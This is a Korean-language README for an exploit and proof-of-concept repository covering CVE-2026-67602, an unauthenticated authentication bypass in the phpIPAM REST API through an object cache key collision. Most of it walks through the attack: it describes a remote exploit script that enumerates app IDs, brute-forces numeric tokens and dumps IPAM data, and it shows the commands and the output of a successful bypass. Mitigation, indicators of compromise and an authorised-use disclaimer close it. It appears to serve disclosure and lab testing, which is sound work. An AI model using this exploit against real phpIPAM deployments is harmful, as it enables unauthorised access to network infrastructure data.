
CVE-2026-67602에 대한 익스플로잇 및 PoC로, 객체 캐시 키 충돌을 통한 phpIPAM REST API의 인증 우회를 다루며, 로직 수준 PoC와 원격 익스플로잇 스크립트를 포함합니다.
phpIPAM REST API의 인증되지 않은 인증 우회로, 객체 캐시 키 충돌로 인해 발생합니다. API 앱의 app_id를 확인하는 동안 캐시된 데이터베이스 행이, 제공된 토큰이 행의 숫자 id와 일치할 때 후속 app_code(토큰) 검사를 충족시킵니다. 앱의 실제 비밀번호는 절대 비교되지 않습니다.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_code인 REST API 앱d29728f)| 파일 | 용도 |
|---|---|
poc_cache_collision.php | 로직 수준 PoC. 취약한(v1.8.1) 및 수정된(1.8.2) fetch_object/cache_check/cache_write 구현을 스텁 데이터베이스에 대해 그대로 실행하고 단일 HTTP 요청의 정확한 fetch 시퀀스를 재생합니다. phpIPAM 설치가 필요 없습니다. |
exploit.py | 실행 중인 phpIPAM < 1.8.2 인스턴스에 대한 원격 익스플로잇: 유효한 app_id 열거(400 vs 401), 숫자 토큰 브루트포스(보통 id 1-3), 선택적으로 섹션/서브넷/VLAN/장치 덤프. |
docker-compose.yml | 취약한 실습 환경: phpIPAM v1.8.1 + MariaDB, IPAM_TRUST_X_FORWARDED=true로 일반 HTTP를 사용하여 ssl_code 앱을 X-Forwarded-Proto 헤더로 테스트할 수 있습니다. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token 헤더) -> OBJECT (캐시 히트!)
[3] $app_id == $app_temp->app_id -> 인증됨
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token 헤더) -> false
[3] 응답: 401 Unauthorized — 토큰 거부됨
$ docker compose up -d
http://localhost:8080/로 이동하여 설치 프로그램(http://localhost:8080/install/)을 진행하고, 자동 데이터베이스 설치를 선택한 후 MySQL 사용자 root / 비밀번호 phpipamAdminRoot를 입력합니다.admin / admin) 후, 프롬프트가 표시되면 새 관리자 비밀번호를 설정합니다.app_id): client익스플로잇 실행(--xfp 플래그는 실습 환경이 신뢰하는 X-Forwarded-Proto를 통해 HTTPS 검사를 충족시킵니다):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] 대상: http://localhost:8080
[*] app_id='client'에 대해 숫자 토큰(행 id) 1..64 브루트포싱 중...
[+] 인증 우회됨 — phpipam-token: 1이 허용됨
[+] 앱의 실제 32자 app_code는 필요하지 않았습니다.
[+] GET /api/client/sections/ -> HTTP 200, 1개 섹션 읽기 가능
[*] IPAM 데이터 덤프 중...
d29728f).ssl_code API 앱을 비활성화하거나 재구성하세요(다른 보안 모드는 이 캐시 충돌의 영향을 받지 않습니다).phpipam-token 헤더를 포함한 /api/<app_id>/... 요청을 확인하세요 — 정상 토큰은 32자 무작위 문자열이므로 숫자 토큰은 신뢰도 높은 IOC입니다.이 저장소는 방어적 연구 및 승인된 침투 테스트 전용입니다. 소유하거나 테스트에 대한 서면 허가를 받은 시스템에 대해서만 실행하세요.